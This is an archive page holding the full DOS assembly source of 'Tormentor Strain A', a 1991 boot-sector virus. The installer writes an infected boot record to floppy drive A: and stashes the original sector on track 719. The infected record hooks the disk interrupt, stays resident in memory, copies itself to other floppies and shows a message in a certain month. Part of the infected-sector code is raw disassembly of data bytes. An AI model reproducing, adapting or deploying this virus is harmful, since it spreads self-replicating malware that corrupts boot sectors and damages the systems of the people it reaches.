home *** CD-ROM | disk | FTP | other *** search
- code_seg segment
-
- assume cs:code_seg,ds:code_seg
-
-
-
- org 100h
-
-
-
- tormentor proc far
-
-
-
- @disp macro string
-
- mov dx,offset string
-
- mov ah,09h
-
- int 21h
-
- endm
-
-
-
- @exit macro
-
- mov ax,4c00h
-
- int 21h
-
- endm
-
-
-
- @cls macro mode
-
- mov ah,00h
-
- mov al,mode
-
- int 10h
-
- endm
-
-
-
- start: jmp main
-
-
-
- boot_area dw 256 dup (0)
-
- boot_sec dw 512 dup (0)
-
-
-
- message db "Tormentor Strain A",13,10
-
- db "Written by The High Evolutionary",13,10
-
- db "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
-
- db 13,10,13,10
-
- db "Press any key to install onto media in drive A:",13,10
-
- db "(Or press CTRL-C to abort)$",13,10
-
-
-
- paused db 13,10,13,10
-
- db "[Paused] Insert destination disk if desired and press",13,10
-
- db "any key, otherwise, press any key$",13,10
-
-
-
- done db "Done!$",13,10
-
-
-
- r_fail db 13,10,13,10
-
- db "Failed to READ in boot sector$",13,10
-
-
-
- w_fail db 13,10,13,10
-
- db "Failed to WRITE boot sector$",13,10
-
-
-
- f_infec db 13,10,13,10
-
- db "SHIT! We failed to write the virus code to the disk!!!$",13,10
-
-
-
- r_boot db 13,10,13,10
-
- db "Now READING in the boot sector$",13,10
-
-
-
- w_boot db 13,10,13,10
-
- db "Now WRITING the boot sector to track 719$",13,10
-
-
-
- w_vir db 13,10,13,10
-
- db "Now WRITING the VIRUS to the boot sector$",13,10
-
-
-
- succ db 13,10,13,10
-
- db "Success! We installed Tormentor onto the drive$",13,10
-
-
-
- memerr db 13,10,13,10
-
- db "BOMB! We had a memory allocation error. Bailing out...$",13,10
-
- db 13,10
-
-
-
- read_shit db 13,10,13,10
-
- db "Reading in shit via INT 25...$",13,10
-
- db 13,10
-
-
-
- intro db "You are in Torment$",13,10
-
-
-
- bootseg dw ? ; Storage segment address or mem. block
-
- ; containing copy of boot record
-
-
-
- dssave dw ? ; Storage for DS register
-
- ;dssave dw seg group ; Storage for DS register
-
-
-
- pspseg dw ? ; PSP segment storage
-
-
-
- ;stack segment para stack 'STACK' ; Code Segment
-
- ;stack ends
-
-
-
- ;_data segment word public 'DATA' ; Data Segment
-
- ;_data ends
-
-
-
- ;dgroup group data,stack ; Define segment group
-
-
-
- ;*****************************************************************************
-
- ; Boot record information to infect both floppies and hard-drives
-
- ;*****************************************************************************
-
-
-
- bootrecord struc
-
- bootjump db 3 dup (?) ; Initial 3 byte jmp instruction
-
- oemstring db 8 dup (?) ; OEM version and DOS
-
- sectorbytes dw ? ; Bytes per sector
-
- clustersec db ? ; Sectors per cluster
-
- reservedrec dw ? ; Reserved sectors
-
- fatcopies db ? ; number of FAT copies
-
- direntries dw ? ; number of root dir entries
-
- totalsectors dw ? ; Total disk sectors
-
- mediadescrip db ? ; Media Descriptor
-
- fatsectors dw ? ; number of sectors occupied by 1 FAT
-
- tracksectors dw ? ; number of sectors per track
-
- heads dw ? ; number of heads
-
- hiddensectors dw ? ; number of hidden sectors
-
- bootrecord ends
-
-
-
- drive db ? ; Current drive pointer
-
-
-
- memalloc proc near
-
-
-
- push bp ; Save base pointer
-
- push bx ; Save BX
-
- mov bp,sp ; init base pointer
-
- xor al,al ; Zero out AL
-
- mov ah,48h ; Allocate mem. function
-
- int 21h
-
- jnc end_memalloc ; exit if no error
-
- mov word ptr [bp],bx
-
-
-
- end_memalloc:
-
- pop bx ; Restore BX
-
- pop bp ; Restore Base Pointer
-
- ret
-
-
-
- memalloc endp
-
-
-
- main:
-
-
-
- get_default_drive:
-
- mov ah,19h
-
- int 21h
-
- mov byte ptr drive,al ; Move current drive into drive
-
-
-
-
-
- ; mov ds,dssave ; Initialise DS
-
- ; mov ax,es ; get PSP address
-
- ; mov word ptr pspseg,ax ; and save it...
-
-
-
- jmp read_boot
-
-
-
- ; mov bx,40h ; Allocate 1024 bytes
-
- ; call memalloc ; Allocate BX block of memory
-
- ; jnc read_boot
-
- ; @disp memerr
-
- ; jmp quit
-
-
-
- read_boot:
-
- @disp read_shit
-
- mov ah,08h
-
- int 21h
-
- mov word ptr bootseg,ax
-
- push ax ; Save AX onto the stack
-
- mov al,0
-
- ; mov al,byte ptr drive ; Move current drive into AL
-
- xor ah,ah ; Zero out AH
-
- ; pop ds ; Restore Data_seg
-
- pushf ; Save flags
-
- mov dx,0 ; Read in sector 0
-
- mov cx,1 ; Read in 1 sector
-
- mov bx,offset boot_sec ; Store data at DS:boot_sec
-
- int 25h ; Read in the disk
-
- popf ; clear flags used by flags
-
- @disp done
-
- mov ah,08h
-
- int 21h
-
- ; assume ds:code_seg ; Restore DS
-
-
-
- begin: @cls 03
-
- ; mov ah,00 ; Set screen
-
- ; mov al,03 ; Set screen for 80x25 color
-
- ; int 10h ; Call BIOS
-
- @disp message
-
-
-
- mov ah,08h ; Wait for a keypress
-
- int 21h
-
- mov cx,3
-
-
-
- read_sector:
-
- @disp r_boot ; Display that we are reading the
-
- ; sector from the disk
-
- push cx ; Counter is pushed onto the stack
-
- mov ax,201h ; Read in 1 sector
-
- mov bx,offset boot_area ; Store it in boot_area
-
- mov cx,1 ; Set counter to 1
-
- mov dx,0 ; Set for drive 0, head 0
-
- int 13h ; Call BIOS
-
- pop cx ; Restore counter
-
- jnc good_read ; If there were no errors, then
-
- ; jump to good_read
-
- loop read_sector ; Jump back and try reading the sector
-
- ; again while CX>0
-
- @disp r_fail
-
- mov ax,4c00h ; Exit
-
- int 21h ; Call DOS
-
-
-
- good_read:
-
- mov cx,3 ; Set counter to 3
-
- @disp paused ; Display message for pause
-
- mov ah,08h ; Wait for a key
-
- int 21h ; Call DOS
-
-
-
- ;*****************************************************************************
-
- ; Write good sector to track 719 (Head 1, track 27, sector 9)
-
- ;*****************************************************************************
-
-
-
- write_sector:
-
- @disp w_boot ; Display that we are writing the
-
- ; sector to disk
-
- mov ax,301h ; Set for writing the boot sector
-
- mov bx,offset boot_area ; Set buffer to what we read in
-
- ; mov bx,offset infected_data
-
- mov cx,2709h ; Set counter to 2709h
-
- mov dx,100h ; Head 1, drive 0
-
- int 13h ; Call BIOS
-
- pop cx ; Restore the counter
-
- jnc good_write ; If we wrote the sectors allright,
-
- ; then jump to good_write
-
- loop write_sector
-
- @disp w_fail
-
- mov ax,4c00h ; Exit
-
- int 21h ; Call DOS
-
-
-
- good_write:
-
- mov cx,3 ; Copy 3 into CX
-
- @disp w_vir
-
- infect_floppy:
-
- push cx ; Push it onto the stack
-
- mov ax,301h ; Write 1 sector
-
- mov bx,offset infected_data ; Write corrupt boot sector to the
-
- ; drive
-
- mov cx,1 ; Set counter to 1
-
- mov dx,0 ; Set for drive A:
-
- int 13h ; Call BIOS
-
- jnc good_infection ; If there are no problems, then
-
- ; continue
-
- loop infect_floppy ; Otherwise, try again until CX=0
-
- @disp f_infec ; If CX=0, then display the message
-
- ; and then exit
-
- mov ax,4c00h ; Exit
-
- int 21h ; Call DOS
-
-
-
- good_infection:
-
- @disp succ
-
- mov ax,4c00h
-
- int 21h
-
-
-
- ;*****************************************************************************
-
- ; The following is a copy of the infected boot sector to copy to sector 0
-
- ;*****************************************************************************
-
-
-
- infected_data db 0EBh, 34h
-
- nop
-
- dec cx
-
- inc dx
-
- dec bp
-
- and [bx+si],ah
-
- xor bp,word ptr ds:[33h]
-
- add al,[bp+si]
-
- add [bx+si],ax
-
- add dh,[bx+si+0]
-
- rol byte ptr [bp+si],1 ; Rotate
-
- std ; Set direction flag
-
- add al,[bx+si]
-
- or [bx+si],ax
-
- add al,[bx+si]
-
- db 19 dup (0)
-
- ; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
-
- adc al,[bx+si]
-
- add [bx+si],al
-
- add [bx+di],al
-
- add dl,bh
-
- xor ax,ax ; Zero register
-
- mov ds,ax
-
- mov ss,ax
-
- mov bx,7C00h ; Pointer to boot segment
-
- mov sp,bx
-
- push ds
-
- data_14 db 53h
-
- dec word ptr ds:[413h]
-
- int 12h ; Put (memory size)/1K in ax
-
- mov cl,6
-
- shl ax,cl ; Shift w/zeros fill
-
- mov es,ax
-
- xchg ax,word ptr ds:[4Eh]
-
- mov word ptr ds:[7DABh],ax
-
- mov ax,128h
-
- xchg ax,word ptr ds:[4Ch]
-
- mov word ptr ds:[7DA9h],ax
-
- mov ax,es
-
- xchg ax,word ptr ds:[66h]
-
- mov word ptr ds:[7DAFh],ax
-
- mov ax,0BBh
-
- xchg ax,word ptr ds:[64h]
-
- mov word ptr ds:[7DADh],ax
-
- xor di,di ; Zero register
-
- mov si,bx
-
- mov cx,100h
-
- cld ; Clear direction
-
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
-
- sti ; Enable interrupts
-
- push es
-
- mov ax,85h
-
- push ax
-
- retf
-
- push bx
-
- xor dl,dl ; Zero register
-
- call sub_2 ; (00FB)
-
- pop bx
-
- push ds
-
- pop es
-
- mov ah,2
-
- mov dh,1
-
- call sub_6 ; (011F)
-
- jc loc_2 ; Jump if carry Set
-
- push cs
-
- pop ds
-
- mov si,offset ds:[0Bh]
-
- mov di,offset ds:[7C0Bh]
-
- mov cx,2Bh
-
- cld ; Clear direction
-
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
-
- jz loc_ret_3 ; Jump if zero
-
- loc_2:
-
- pop bx
-
- pop ax
-
- push cs
-
- mov ax,0AFh
-
- push ax
-
-
-
- loc_ret_3:
-
- retf ; Return far
-
- read_error:
-
- push cs
-
- pop ds
-
- mov si,1DBh
-
- call sub_1 ; (00DA)
-
- xor ah,ah ; Zero register
-
- int 16h ; Keyboard i/o ah=function 00h
-
- ; get keybd char in al, ah=scan
-
- xor ax,ax ; Zero register
-
- int 13h ; Disk dl=drive a ah=func 00h
-
- ; reset disk, al=return status
-
- push cs
-
- pop es
-
- mov bx,offset ds:[200h]
-
- mov cx,6
-
- xor dx,dx ; Zero register
-
- mov ax,201h
-
- int 13h ; Disk dl=drive a ah=func 02h
-
- ; read sectors to memory es:bx
-
- jc read_error ; Jump if carry Set
-
- mov cx,0FF0h
-
- mov ds,cx
-
- jmp dword ptr cs:data_16
-
-
-
- ;
-
- ; Insert Tormentor endp here...
-
- ;
-
- ;tormentor endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_1 proc near
-
- loc_5:
-
- mov bx,7
-
- cld ; Clear direction
-
- lodsb ; String [si] to al
-
- or al,al ; Zero ?
-
- jz loc_ret_9 ; Jump if zero
-
- jns loc_6 ; Jump if not sign
-
- xor al,0D7h
-
- or bl,88h
-
- loc_6:
-
- cmp al,20h
-
- jbe loc_7 ; Jump if below or =
-
- mov cx,1
-
- mov ah,9 ;
-
- int 10h ; Video display ah=functn 09h
-
- ; set char al & attrib bl @curs
-
- loc_7:
-
- mov ah,0Eh
-
- int 10h ; Video display ah=functn 0Eh
-
- ; write char al, teletype mode
-
- jmp short loc_5 ; (00DA)
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_2:
-
- mov bx,200h
-
- mov cx,2
-
- mov ah,cl
-
- call sub_5 ; (011D)
-
- mov cx,2709h
-
- xor byte ptr es:[bx],0FDh
-
- jz loc_8 ; Jump if zero
-
- mov cx,4F0Fh
-
- loc_8:
-
- jmp short loc_ret_9 ; (0127)
-
- nop
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_3:
-
- mov ah,2
-
- mov bx,200h
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_4:
-
- mov cx,1
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_5:
-
- mov dh,0
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_6:
-
- mov al,1
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_7:
-
- pushf ; Push flags
-
- call dword ptr cs:data_15
-
-
-
- loc_ret_9:
-
- retn
-
- sub_1 endp
-
-
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push es
-
- push ds
-
- push si
-
- push di
-
- pushf ; Push flags
-
- push cs
-
- pop ds
-
- cmp dl,1
-
- ja loc_11 ; Jump if above
-
- and ax,0FE00h
-
- jz loc_11 ; Jump if zero
-
- xchg al,ch
-
- shl al,1 ; Shift w/zeros fill
-
- add al,dh
-
- mov ah,9
-
- mul ah ; ax = reg * al
-
- add ax,cx
-
- sub al,6
-
- cmp ax,6
-
- ja loc_11 ; Jump if above
-
- push cs
-
- pop es
-
- call sub_3 ; (0115)
-
- jc loc_10 ; Jump if carry Set
-
- mov di,offset data_14
-
- mov si,offset ds:[243h]
-
- mov cx,0Eh
-
- std ; Set direction flag
-
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to
-
- ; es:[di]
-
- jz loc_11 ; Jump if zero
-
- sub si,cx
-
- sub di,cx
-
- mov cl,33h ; '3'
-
- rep movsb ; Rep when cx >0 Mov [si] to
-
- ; es:[di]
-
- call sub_2 ; (00FB)
-
- push cx
-
- push bx
-
- call sub_3 ; (0115)
-
- mov ah,3
-
- xor bx,bx ; Zero register
-
- call sub_4 ; (011A)
-
- pop bx
-
- pop cx
-
- jc loc_10 ; Jump if carry Set
-
- mov dh,1
-
- mov ah,3
-
- call sub_6 ; (011F)
-
- loc_10:
-
- xor ax,ax ; Zero register
-
- call sub_7 ; (0121)
-
- loc_11:
-
- mov ah,4
-
- int 1Ah ; Real time clock ah=func 04h
-
- ; read date cx=year, dx=mon/day
-
- cmp dh,9
-
- jne not_month ; Jump if not equal
-
- mov si,1B1h
-
- call sub_1 ; (00DA)
-
- not_month:
-
- popf ; Pop flags
-
- pop di
-
- pop si
-
- pop ds
-
- pop es
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- jmp dword ptr cs:data_15
-
- data_15 dd 0C602EC59h
-
- data_16 dd 0F000E6F2h
-
- esc 2,ch ; coprocessor escape
-
- and [bp+di-4141h],al
-
- movsb ; Mov [si] to es:[di]
-
- idiv word ptr [bp-85Ch] ; ax,dxrem=dx:ax/data
-
- xchg ax,si
-
- mov si,offset ds:[0B4A5h]
-
- mov ax,0DAA7h
-
- esc 5,[bx+si] ; coprocessor escape
-
- db 'IO SYSMSDOS SYS', 0Dh, 0Ah
-
- db 'Non-system disk or disk error', 0Dh
-
- db 0Ah
-
- add [bx+si],al
-
- push bp
-
- ; jmp cont
-
-
-
- ; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
-
- stosb
-
- ;cont: stosb ; Store al to es:[di]
-
-
-
- tormentor endp
-
-
-
- quit: mov ax,4c00h
-
- int 21h
-
-
-
-
-
- code_seg ends
-
- end start
-
-
-